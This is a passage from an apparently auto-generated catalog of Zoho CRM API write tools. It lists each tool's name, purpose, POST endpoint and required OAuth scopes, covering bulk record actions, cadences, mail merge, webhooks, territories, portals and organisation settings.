above. - Supports Leads, Contacts, Deals, Vendors, and custom modules. - A request may contain up to 5 cadence IDs. - A request may contain up to 100... POST /api/v1/zohocrm/{module}/actions/enrol_in_cadences. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_actions_mass_change_owner (write) — Submit mass change owner job. To bulk update the ownership of records in a specified module based on a Custom View, territory, or field-based criteria in your Zoho CRM organization. You cannot change the owner of related records using this API. You can change the owner of up to 50,000 records in a custom view. This API schedules the operation as a... POST /api/v1/zohocrm/{module}/actions/mass_change_owner. Scopes: ZohoCRM.change_owner.CREATE. zohocrm_post_by_module_actions_mass_delete (write) — Delete records in bulk by record IDs or Custom View. To delete records in bulk from a specified module in your Zoho CRM organization, either by providing record IDs for synchronous deletion or a Custom View ID for asynchronous batch deletion. POST /api/v1/zohocrm/{module}/actions/mass_delete. Scopes: ZohoCRM.mass_delete.DELETE. zohocrm_post_by_module_actions_mass_update (write) — Mass update records. To update a specific field value across multiple records of a module in your Zoho CRM organization in a single API call. The operation supports two modes. In the non-scheduler mode, the caller supplies a list of record IDs in the ids array and the system updates those records synchronously, with a maximum of 500... POST /api/v1/zohocrm/{module}/actions/mass_update. Scopes: ZohoCRM.mass_update.Leads.UPDATE, ZohoCRM.mass_update.UPDATE. zohocrm_post_by_module_actions_portal_invite (write) — Invite portal users. To send portal invitations in bulk to CRM records in your Zoho CRM organization for the specified module, scheduling them as asynchronous invitation jobs. POST /api/v1/zohocrm/{module}/actions/portal_invite. Scopes: ZohoCRM.settings.ALL. zohocrm_post_by_module_actions_remove_tags (write) — Remove Tags from Records. Removes tags from one or more records in the specified module. POST /api/v1/zohocrm/{module}/actions/remove_tags. Scopes: ZohoCRM.modules.ALL. zohocrm_post_by_module_actions_remove_territories (write) — Remove territories from multiple records. To remove one or more territories from multiple records in your Zoho CRM organization. Supported modules are Leads, Accounts, Contacts, and Deals. The removal can be processed synchronously or scheduled as a background job, depending on the number of records. POST /api/v1/zohocrm/{module}/actions/remove_territories. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_by_module_actions_unblock_email (write) — Unblock emails for multiple records in a module. To unblock soft-bounced email addresses for multiple records in your Zoho CRM organization. When emails sent from CRM bounce temporarily, the Email field on the affected records is blocked. This operation removes those blocks in bulk so email communication with the records can resume. POST /api/v1/zohocrm/{module}/actions/unblock_email. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_by_module_actions_unenrol_from_cadences (write) — Un-enroll Records from Cadences. To manually unenroll records of a supported module from one or more Cadences in your Zoho CRM organization. POST /api/v1/zohocrm/{module}/actions/unenrol_from_cadences. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_bulk_search (write) — Bulk Search Records by Criteria, Word, Email, or Phone. Searches for records in the specified module that match the given search criteria. This API accepts the same search parameters as the GET /{module}/search API, but they are provided in the request body instead of query parameters. Use this API when the search criteria are too long to be passed as query parameters. You... POST /api/v1/zohocrm/{module}/bulk/search. Scopes: ZohoCRM.modules.READ, ZohoCRM.users.READ. zohocrm_post_by_module_by_id_actions_add_tags (write) — Add Tags to a Record. Adds tags to a specific record in the specified module. POST /api/v1/zohocrm/{module}/{id}/actions/add_tags. Scopes: ZohoCRM.modules.ALL. zohocrm_post_by_module_by_id_actions_remove_tags (write) — Remove Tags from a Record. Removes tags from a specific record in the specified module. POST /api/v1/zohocrm/{module}/{id}/actions/remove_tags. Scopes: ZohoCRM.modules.ALL. zohocrm_post_by_module_by_id_actions_unblock_email (write) — Unblock email for a single record. To unblock a soft-bounced email address for a single record in your Zoho CRM organization. When an email sent from CRM bounces temporarily, the Email field on the affected record is blocked. This operation removes that block so email communication with the record can resume. POST /api/v1/zohocrm/{module}/{id}/actions/unblock_email. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_by_module_by_masterrecordid_actions_merge (write) — Merge Records. To merge duplicate records in your Zoho CRM organization into a single master record. Supports field-level value selection from child records and file attachment management. If a child record has more than 1000 related records, the merge processes asynchronously and returns a job_id for status tracking. POST /api/v1/zohocrm/{module}/{masterRecordId}/actions/merge. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_by_record_actions_assign_territories (write) — Assign territories to a record. To assign one or more territories to a single record in your Zoho CRM organization. POST /api/v1/zohocrm/{module}/{record}/actions/assign_territories. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_by_module_by_record_actions_change_owner (write) — Change Owner. To change the owner of a specific record in the specified CRM module in your Zoho CRM organization. Note: The module name Deals is accepted and internally resolved to Potentials. Meetings is internally resolved to Events. POST /api/v1/zohocrm/{module}/{record}/actions/change_owner. Scopes: ZohoCRM.change_owner.CREATE. zohocrm_post_by_module_by_record_actions_remove_territories (write) — Remove territories from a record. To remove one or more territories from a single record in your Zoho CRM organization. This operation is supported for records in the Leads, Accounts, Contacts, and Deals modules. POST /api/v1/zohocrm/{module}/{record}/actions/remove_territories. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_by_module_by_record_email_drafts (write) — Create Email Drafts for a Record. Creates one or more email drafts associated with the specified record in the given module. POST /api/v1/zohocrm/{module}/{record}/__email_drafts. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_by_recordid_actions_associate_email (write) — Associate Email. Associates an email with a specific record in a module, creating a link between the email and the CRM record. POST /api/v1/zohocrm/{module}/{recordId}/actions/associate_email. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_by_recordid_actions_clone (write) — Record Clone. Clones a record in the specified module. Use the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to retrieve the module ID and API name. Use the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to retrieve the field IDs and API names. By default, the field values of the parent record... POST /api/v1/zohocrm/{module}/{recordId}/actions/clone. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_module_by_recordid_actions_portal_invite (write) — Invite portal users. To send a portal invitation to a single CRM record in your Zoho CRM organization, inviting or re-inviting the record as a portal user for the specified user type. POST /api/v1/zohocrm/{module}/{recordId}/actions/portal_invite. Scopes: ZohoCRM.settings.ALL. zohocrm_post_by_module_upsert (write) — Create or update records in a specified module. The Upsert API inserts a new record or updates an existing record based on duplicate check field values. If a matching record is found, it is updated; otherwise, a new record is inserted. When using the Upsert API, the system checks for duplicate records based on the duplicate check fields. There are two types of... POST /api/v1/zohocrm/{module}/upsert. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_moduleapiname_actions_share_emails (write) — Share Record Emails. To share email threads linked to multiple CRM records with colleagues in the same organization. Accepts up to 100 record IDs per request. Supports partial success - each record in the response is processed independently, and individual results indicate success or failure. POST /api/v1/zohocrm/{moduleApiName}/actions/share_emails. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_moduleapiname_actions_unshare_emails (write) — Unshare emails in bulk. To revoke email sharing for multiple CRM records in a single request. Accepts up to 100 record IDs per request. The data array in the 207 response contains an item for each record, indicating success or failure. POST /api/v1/zohocrm/{moduleApiName}/actions/unshare_emails. Scopes: ZohoCRM.modules.DELETE. zohocrm_post_by_moduleapiname_by_id_actions_convert (write) — Convert Inventory Record. To convert an inventory record in your Zoho CRM organization from one module to another. Supported conversion paths are: Quotes to Sales Orders or Invoices, and Sales Orders to Invoices. POST /api/v1/zohocrm/{moduleApiName}/{id}/actions/convert. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_moduleapiname_by_id_actions_share_emails (write) — Share Record Emails. To share email threads linked to a specific CRM record with colleagues in the same organization. Requires custom email sharing to be enabled in the organization and a valid email configuration for the user. POST /api/v1/zohocrm/{moduleApiName}/{id}/actions/share_emails. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_by_moduleapiname_by_id_actions_unshare_emails (write) — Unshare Record Emails. To revoke email sharing for a specific CRM record, making the linked email threads no longer visible to colleagues. Requires custom email sharing to be enabled in the organization and a valid email configuration for the user. POST /api/v1/zohocrm/{moduleApiName}/{id}/actions/unshare_emails. Scopes: ZohoCRM.modules.DELETE. zohocrm_post_by_moduleapiname_by_recordid_actions_download_mail_merge (write) — Download mail merge document. To download the merged document created from a mail merge template for a specific record in your Zoho CRM organization. You can choose the output format as pdf, html, or docx, and optionally set a password for PDF documents. POST /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/download_mail_merge. Scopes: ZohoCRM.settings.ALL, ZohoWriter.documentEditor.ALL, ZohoWriter.merge.ALL. zohocrm_post_by_moduleapiname_by_recordid_actions_get_related_records_count (write) — Get related records count. To retrieve the count of related records for a specified parent record in your Zoho CRM organization. Supports optional filtering by approval status, conversion status, category type, and field-level equality criteria. A single request can include up to 20 related list count specifications. You can use this API to get... POST /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/get_related_records_count. Scopes: ZohoCRM.modules.READ. zohocrm_post_by_moduleapiname_by_recordid_actions_send_mail_merge (write) — Send mail merge email. To send a personalized email to one or more recipients using a mail merge template associated with a specific record in your Zoho CRM organization. You can include recipients in the To, CC, and BCC fields, and optionally attach the merged document either as an inline image or a separate file. POST /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/send_mail_merge. Scopes: ZohoCRM.settings.ALL, ZohoWriter.documentEditor.ALL, ZohoWriter.merge.ALL. zohocrm_post_by_moduleapiname_by_recordid_actions_share (write) — Share a record. To share a specific record in a module with one or more users, roles, or groups. A record can be shared with up to 10 users, 5 roles, and 5 groups. > Note: > - The records can be shared to other users in the organization only if certain conditions are met. For simplicity, let us assume that User A shares a record with... POST /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/share. Scopes: ZohoCRM.share.accounts.CREATE, ZohoCRM.share.bundles.CREATE, ZohoCRM.share.calls.CREATE, ZohoCRM.share.campaigns.CREATE, ZohoCRM.share.cases.CREATE, ZohoCRM.share.contacts.CREATE, ZohoCRM.share.custom.CREATE, ZohoCRM.share.deals.CREATE, ZohoCRM.share.events.CREATE, ZohoCRM.share.invoices.CREATE, ZohoCRM.share.leads.CREATE, ZohoCRM.share.pricebooks.CREATE, ZohoCRM.share.products.CREATE, ZohoCRM.share.purchaseorders.CREATE, ZohoCRM.share.quotes.CREATE, ZohoCRM.share.salesorders.CREATE, ZohoCRM.share.solutions.CREATE, ZohoCRM.share.tasks.CREATE, ZohoCRM.share.vendors.CREATE. zohocrm_post_by_moduleapiname_by_recordid_actions_sign_mail_merge (write) — Send mail merge document for signing. To send a merged document to one or more recipients for signing or approval using a mail merge template associated with a specific record in your Zoho CRM organization. Before using this operation for the first time, you must access the Merge and Sign dialog in the Zoho Writer UI once. POST /api/v1/zohocrm/{moduleApiName}/{recordId}/actions/sign_mail_merge. Scopes: ZohoCRM.settings.ALL, ZohoSign.documents.ALL, ZohoWriter.documentEditor.ALL, ZohoWriter.merge.ALL. zohocrm_post_by_modulename_by_id_actions_send_mail (write) — Send an email to a record. To send an email to a specific record in your Zoho CRM organization using a template or custom email content. POST /api/v1/zohocrm/{moduleName}/{id}/actions/send_mail. Scopes: ZohoCRM.send_mail.all.CREATE. zohocrm_post_by_modulename_by_recordid_locking_information_s (write) — Lock a record. To lock a record in the specified module of your Zoho CRM account with a reason for locking. POST /api/v1/zohocrm/{moduleName}/{recordId}/Locking_Information__s. Scopes: ZohoCRM.settings.ALL. zohocrm_post_by_parentrecordmodule_by_parentrecordid_notes (write) — Related Notes. Creates one or more notes associated with a specific parent record. Either note content or note title must be provided (at least one is mandatory). POST /api/v1/zohocrm/{parentRecordModule}/{parentRecordId}/Notes. Scopes: ZohoCRM.modules.CREATE, ZohoCRM.modules.READ. zohocrm_post_composite_requests (write) — Process multiple API requests in a single call. To bundle multiple Zoho CRM API requests into a single HTTP call, reducing network round-trips and enabling request chaining. You can reference the output of one sub-request in another using the format @{sub_request_id:JSONPath} to build dependent workflows. When rollback_on_fail is enabled, all successful... POST /api/v1/zohocrm/__composite_requests. Scopes: ZohoCRM.composite_requests.CUSTOM. zohocrm_post_contacts_by_contactid_emails_actions_link_record (write) — Link Emails to Deals. To link a deal with one or more of a contact's emails. An email can only be linked to a single deal at a time. Zoho CRM automatically links a contact's incoming emails to the deals using the [Deal Prediction... POST /api/v1/zohocrm/Contacts/{contactId}/Emails/actions/link_record. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_contacts_by_contactid_emails_by_messageid_actions_link_record (write) — Link Deal Email. Links an email to a specified record in CRM. POST /api/v1/zohocrm/Contacts/{contactId}/Emails/{messageId}/actions/link_record. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_contacts_roles (write) — Create Contact Roles. Creates one or more contact roles in your Zoho CRM organization. POST /api/v1/zohocrm/Contacts/roles. Scopes: ZohoCRM.modules.ALL. zohocrm_post_coql (write) — Retrieve records using a COQL query. To retrieve records from one or more Zoho CRM modules using a COQL SELECT query, with support for cross-module joins, aggregate functions, and flexible filtering. POST /api/v1/zohocrm/coql. Scopes: ZohoCRM.coql.READ, ZohoCRM.modules.READ, ZohoCRM.settings.READ. zohocrm_post_events_by_event_actions_cancel (write) — Cancel a Meeting. To cancel a meeting and send an email regarding the meeting cancellation to the participants. A meeting can only be cancelled if attendees have already been invited and the meeting has not passed its scheduled end time. To check the cancellation status of a meeting, refer to the $event_cancelled key in the response... POST /api/v1/zohocrm/Events/{event}/actions/cancel. Scopes: ZohoCRM.modules.UPDATE. zohocrm_post_leads_actions_mass_convert (write) — Submit mass convert job for leads. To submit a mass convert job that converts lead records into Contacts, Accounts, or Deals in your Zoho CRM organization. The job runs asynchronously and returns a job identifier for status tracking. POST /api/v1/zohocrm/Leads/actions/mass_convert. Scopes: ZohoCRM.mass_convert.leads.CREATE. zohocrm_post_leads_by_leadid_actions_convert (write) — Convert a Lead. Converts a Lead record into Contact, Account, and/or Deal records. Allows configuration of conversion behavior including overwrite settings, notifications, owner assignment, and tag carryover. POST /api/v1/zohocrm/Leads/{leadId}/actions/convert. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_notes (write) — Create Notes. Creates one or more note records. POST /api/v1/zohocrm/Notes. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_org_currencies (write) — Create currencies. Creates one or more new currencies for the organization. POST /api/v1/zohocrm/org/currencies. Scopes: ZohoCRM.settings.ALL. zohocrm_post_org_currencies_actions_enable (write) — Enable multi-currency POST /api/v1/zohocrm/org/currencies/actions/enable. Scopes: ZohoCRM.settings.ALL. zohocrm_post_read (write) — Create a bulk read job. To create a bulk read job in Zoho CRM. A bulk read job exports records from a specified CRM module to a CSV or ICS file. The job runs asynchronously; use the Get Bulk Read Job Details API to monitor the job status, and use the Download Bulk Read Result API to retrieve the exported file once the job is complete. POST /api/v1/zohocrm/read. Scopes: ZohoCRM.bulk.READ, ZohoCRM.modules.ALL. zohocrm_post_services_s (write) — Create service records in Zoho CRM. To create one or more service records in your Zoho CRM organization, submitting up to 100 service objects per request, each configurable with a name, duration, price, location, members, availability type, and availability window. POST /api/v1/zohocrm/Services__s. Scopes: ZohoCRM.modules.CREATE. zohocrm_post_settings_audit_log_export (write) — Create an audit log export job. To create an asynchronous audit log export job in your Zoho CRM organization. The system schedules the job and returns a unique job ID with a SCHEDULED status code. Use the[Get Audit Log Export API](audit_log_export.yaml#.$./paths./settings/audit_log_export.get) to poll for completion and retrieve the download links. POST /api/v1/zohocrm/settings/audit_log_export. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_assignment_rules (write) — Create an Assignment Rule. To create a single Assignment Rule in your Zoho CRM organization. POST /api/v1/zohocrm/settings/automation/assignment_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_assignment_rules_by_id_actions_clone (write) — Clone Assignment Rule. To clone a single Assignment Rule in your Zoho CRM organization. POST /api/v1/zohocrm/settings/automation/assignment_rules/{id}/actions/clone. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_cadences (write) — Create cadence. Creates a new cadence (initially in draft status) with its follow-up tree and optional un-enrollment rules in a single call. custom_view cadences require a custom_view.id; manual_enrollment cadences must omit custom_view. Follow-ups reference each other via reference_id (a client-chosen string) so that parent/child... POST /api/v1/zohocrm/settings/automation/cadences. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_cadences_by_id_actions_activate (write) — Activate Cadence. Activates a published cadence so it begins enrolling records. The cadence must currently be inactive; otherwise, the ALREADY_ACTIVATED error is returned. Edition limits are enforced, including the maximum number of active cadences per module and the total number of active cadences. For custom_view cadences, activation... POST /api/v1/zohocrm/settings/automation/cadences/{id}/actions/activate. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_cadences_by_id_actions_clone (write) — Clone a Cadence. Creates a new cadence with the same follow-up tree as the source cadence (identified by path id) but with the name / description / custom_view supplied in the body. Every follow-up action is copied into a new action record - the clone has no shared rows with the source. The new cadence starts in draft status and must... POST /api/v1/zohocrm/settings/automation/cadences/{id}/actions/clone. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_cadences_by_id_actions_deactivate (write) — Deactivate a Cadence. To deactivate a Cadence in your Zoho CRM organization. The Cadence must currently be active; attempting to deactivate an already inactive Cadence returns the ALREADY_DEACTIVATED error. POST /api/v1/zohocrm/settings/automation/cadences/{id}/actions/deactivate. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_cadences_by_id_actions_publish (write) — Publish a Cadence. Publishes a draft cadence by merging its follow-up tree, transitions, and triggers into the live cadence, and then clears the draft. If the cadence is being published for the first time, it is promoted from a draft to an inactive published cadence. Call the Activate Cadence API separately to begin enrolling records.... POST /api/v1/zohocrm/settings/automation/cadences/{id}/actions/publish. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_field_updates (write) — Create Field Update. Creates a field update action that assigns a static value to a field, triggered by a workflow rule. For single-value fields, use a string for value. For multi-select and multi-user field types, use an array for value (for example, ['Call', 'Advertisement']). update_type (mandatory for multi-select and multi-user... POST /api/v1/zohocrm/settings/automation/field_updates. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_scoring_rules (write) — Scoring Rules. Creates one or more scoring rules for specified modules and layouts. Only Leads and Contacts modules support signal rules. Deals, Accounts and Custom Modules do not support signal rules. POST /api/v1/zohocrm/settings/automation/scoring_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_scoring_rules_by_ruleid_actions_clone (write) — Clone a scoring rule. To clone a Scoring Rule in your Zoho CRM organization. POST /api/v1/zohocrm/settings/automation/scoring_rules/{ruleId}/actions/clone. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_tasks (write) — Create an Automation Task. PURPOSE: Creates an automation task definition used by workflow rules, approval processes, blueprints, kiosks, scoring rules, and case escalation rules. PREREQUISITES: (1) Call GET /settings/automation/tasks to check existing task definitions and avoid duplicates. (2) Call GET /settings/layouts?module=Tasks to... POST /api/v1/zohocrm/settings/automation/tasks. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_webhooks (write) — Webhooks. To create a webhook action that fires an HTTP request to an external URL in your Zoho CRM organization when an automation trigger fires. The http_method value controls which optional request fields are accepted. - POST and PUT accept headers and body - GET and DELETE methods accept url_parameters - DELETE also accepts... POST /api/v1/zohocrm/settings/automation/webhooks. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_automation_workflow_rules (write) — Create a workflow rule for a module. To create a workflow rule for a specified module in your Zoho CRM organization. Each request accepts exactly one rule, defined within the workflow_rules array. POST /api/v1/zohocrm/settings/automation/workflow_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_business_hours (write) — Business Hours Configuration. Creates a new business hours configuration for the organization, defining working days, operating hours, and timezone settings. POST /api/v1/zohocrm/settings/business_hours. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_business_hours_shift_hours (write) — Add shift hours. Creates one or more shift hour configurations for the organization. Each shift hour specifies the name, time zone, active days, timing, optional break windows, optional holidays, and optional user assignments. The shift hour timing must fall within the configured business hours, and the request is rejected if business... POST /api/v1/zohocrm/settings/business_hours/shift_hours. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_custom_views (write) — CustomView creation. To create one or more Custom Views for a specified module in your Zoho CRM organization. POST /api/v1/zohocrm/settings/custom_views. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_duplicate_check_preference (write) — Create Duplicate Check Preference. To enable duplicate check preference for the Leads module in your Zoho CRM organization. POST /api/v1/zohocrm/settings/duplicate_check_preference. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_fields (write) — Create custom fields in a module. To create custom fields in a module in your Zoho CRM organization, where supported modules include Leads, Contacts, Accounts, Campaigns, Cases, Invoices, Deals, Price Books, Products, Purchase Orders, Quotes, Sales Orders, Solutions, Vendors, Calls, Tasks, Events, Users, and Custom modules. POST /api/v1/zohocrm/settings/fields. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_fields_by_fieldid_actions_replace_pick_list_values (write) — Replace Pick list values. Replace picklist value POST /api/v1/zohocrm/settings/fields/{fieldId}/actions/replace_pick_list_values. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_global_picklists (write) — Create a Global Picklist. Creates a new global picklist with the specified display label, API name, description, and picklist values. The actual_label, customizable, modified_by, created_by, and presence properties are generated by the backend. In pick_list_values, only display_value and type are considered. POST /api/v1/zohocrm/settings/global_picklists. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_global_picklists_by_id_actions_replace_picklist_values (write) — Replace Picklist Values. Schedules or executes replacement of picklist values for the specified global picklist. You can specify either id, display_value, or both for old_value and new_value. If both are provided, the system validates them for consistency. The from (old) value can be non-existent in the current picklist, but the to (new)... POST /api/v1/zohocrm/settings/global_picklists/{id}/actions/replace_picklist_values. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_holidays (write) — Holidays. To create one or more business or shift holidays in Zoho CRM. Business holidays apply to all users, while shift holidays must specify a valid shift_hour identifier. POST /api/v1/zohocrm/settings/holidays. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_layouts_by_id_actions_activate (write) — Activate Layout. Activates a single deactivated layout, making it available for use within the specified module. Optionally allows adding or removing profile associations during activation. Only one layout can be activated per request. This operation is idempotent - attempting to activate an already active layout returns an error... POST /api/v1/zohocrm/settings/layouts/{id}/actions/activate. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_layouts_by_layoutid_map_dependency (write) — Create a field dependency for a layout. To create a field dependency between a parent picklist field and a child picklist field for a specific layout in your Zoho CRM organization. Prerequisites - The selected layout must contain at least two option-based fields. - Supported field types are Picklist, Radio Button, and Multi-select Picklist. - Multi-select... POST /api/v1/zohocrm/settings/layouts/{layoutId}/map_dependency. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_modules (write) — Create a custom module. To create a custom module in your Zoho CRM organization. Only one module can be created per request. The required permission depends on the access type: Crm_Implied_Customize_Zoho_CRM for org-based modules and Crm_Implied_Create_Team_Module for team-based modules. Submitting the same api_name multiple times will... POST /api/v1/zohocrm/settings/modules. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_pipeline (write) — Pipeline. Create a new pipeline for the specified Deals layout by providing a pipeline display label and one or more mapped stages. POST /api/v1/zohocrm/settings/pipeline. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_pipeline_actions_transfer (write) — Transfer Pipeline. Transfer records and stage mappings from one pipeline to another in the specified layout, and delete the source pipeline after the transfer is scheduled. POST /api/v1/zohocrm/settings/pipeline/actions/transfer. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_portals (write) — Portal. To create a Client Portal for the Zoho CRM organization. Only one portal can be created per organization. The portal name must be unique across Zoho, between 6 and 30 characters. POST /api/v1/zohocrm/settings/portals. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_portals_by_portal_user_type (write) — Portal User Type. Creates a new portal user type for the specified portal. A portal user type defines the personality module, invitation field, and per-module access permissions for portal users. The portal must already exist in the organization's Zoho CRM account. POST /api/v1/zohocrm/settings/portals/{portal}/user_type. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_portals_by_portal_user_type_by_usertype_users_action_transfer (write) — Transfer portal users from one user group to another. To transfer one or more portal users from one user type group to another within the same portal in your Zoho CRM organization. POST /api/v1/zohocrm/settings/portals/{portal}/user_type/{userType}/users/action/transfer. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_profiles_by_id_actions_clone (write) — Clone a CRM profile. Creates a new profile by cloning the existing profile identified by {id}. The request body must include the new profile's name, which must be unique within the organization and must not exceed 50 characters. See [Create a Profile](https://www.zoho.com/crm/developer/docs/api/v8/create-profile.html). POST /api/v1/zohocrm/settings/profiles/{id}/actions/clone. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_record_locking_configurations (write) — Create record locking configuration. Creates a new record locking configuration for the specified module. You can define locking rules, restricted actions, excluded fields, and other settings. POST /api/v1/zohocrm/settings/record_locking_configurations. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_recycle_bin_actions_empty (write) — Empty the Recycle Bin. To permanently delete every record from the Recycle Bin in your Zoho CRM account. This action is irreversible - the records cannot be restored after this operation completes. When the Recycle Bin contains 1000 or fewer records, including child records such as Notes and Attachments, Zoho CRM deletes the records... POST /api/v1/zohocrm/settings/recycle_bin/actions/empty. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_recycle_bin_actions_restore (write) — Restore multiple Recycle Bin records. To restore one or more deleted records from the Recycle Bin in your Zoho CRM account. Supply the scope of restoration in the request body using exactly one of three options: ids to restore specific records, filters to restore records matching field-based criteria, or restore_all_records to restore every record... POST /api/v1/zohocrm/settings/recycle_bin/actions/restore. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_recycle_bin_by_recordid_actions_restore (write) — Restore a Recycle Bin record. To restore a single deleted record from the Recycle Bin in your Zoho CRM account. The record is moved back to its original module along with all its associated child records, such as Notes and Attachments. When the total number of restored records, including child records, is 1000 or fewer, the restoration completes... POST /api/v1/zohocrm/settings/recycle_bin/{recordId}/actions/restore. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_roles (write) — Create a role. Creates a new role in your Zoho CRM organization. POST /api/v1/zohocrm/settings/roles. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_tags (write) — Tags. To create tags for a module in your Zoho CRM organization. POST /api/v1/zohocrm/settings/tags. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_tags_actions_mass_delete (write) — Mass delete tags. To schedule a background job that deletes multiple tags in bulk from a single module in your Zoho CRM organization. You can delete tags in bulk from one module per API call. The response returns a job identifier that can be used with the Mass Delete Tags Status GET operation to track the progress of the deletion. POST /api/v1/zohocrm/settings/tags/actions/mass_delete. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_tags_by_id_actions_merge (write) — Merge Tags. Merges two tags into one, combining their associated records and metadata. The tag specified in the path parameter (id) is the master tag that will remain after the merge. The conflict_id in the request body specifies the tag to be merged into the master tag. POST /api/v1/zohocrm/settings/tags/{id}/actions/merge. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_territories (write) — Create Territories. To create one or more territories in your Zoho CRM organization. POST /api/v1/zohocrm/settings/territories. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_territories_actions_run_rules (write) — Run territory assignment rules. To schedule territory assignment rules to run against records in a specified module in your Zoho CRM organization. The rules can be applied based on filter criteria, a Custom View, or specific territories, and the execution is queued as a background job. POST /api/v1/zohocrm/settings/territories/actions/run_rules. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_territories_actions_transfer_and_delete (write) — Transfer and delete territories. To transfer records from one or more territories to a target territory and then delete those territories in your Zoho CRM organization. POST /api/v1/zohocrm/settings/territories/actions/transfer_and_delete. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_territories_by_id_actions_transfer_and_delete (write) — Transfer and delete a specific territory by ID. To transfer child territories to a target parent territory and then delete a specific territory from your Zoho CRM organization. This operation is required for territories that have child territories, as they cannot be directly deleted using the Delete Territories API. POST /api/v1/zohocrm/settings/territories/{id}/actions/transfer_and_delete. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_unsubscribe_links (write) — Create Unsubscribe Link. To create an unsubscribe link that can be used in email templates or email footers. You can configure the link to display a standard Zoho CRM unsubscribe page or redirect to a custom webpage. POST /api/v1/zohocrm/settings/unsubscribe_links. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_user_groups (write) — Create a user group. To create a new user group in your Zoho CRM organization with a specified name, optional description, and member sources (users, roles, or territories). POST /api/v1/zohocrm/settings/user_groups. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_variable_groups_actions_generate_api_name (write) — Generate API Name. To generate an available API name for a new variable group in your Zoho CRM organization. Submit the proposed display name in the request, and the API returns a suggested api_name that complies with the naming requirements. POST /api/v1/zohocrm/settings/variable_groups/actions/generate_api_name. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_variables (write) — Create variables. Creates one or more CRM variables. The name, api_name, and variable_group keys are mandatory. The type key specifies the data type of the variable. Possible types: integer, text, percent, decimal, currency, date, datetime, email, phone, url, checkbox, textarea, long. Requires the ZohoCRM.settings.variables.CREATE... POST /api/v1/zohocrm/settings/variables. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_variables_actions_generate_api_name (write) — Generate API Name. generates api name POST /api/v1/zohocrm/settings/variables/actions/generate_api_name. Scopes: ZohoCRM.settings.ALL. zohocrm_post_settings_zia_data_enrichment (write) — Zia Data Enrichment Configuration. Creates Zia Enrichment Configurations for a specific module. Use the [Get Fields Metadata API](fields.yaml#$.paths./settings/fields.get) to get CRM field IDs and API names, and the [Get Modules API](modules.yaml#$.paths./settings/modules.get) to get module IDs and API names. POST /api/v1/zohocrm/settings/zia/data_enrichment. Scopes: ZohoCRM.zia.enrichment.CREATE. zohocrm_post_users (write) — Create User. To create a new user record in your Zoho CRM organization. The request body must contain a users array with one user 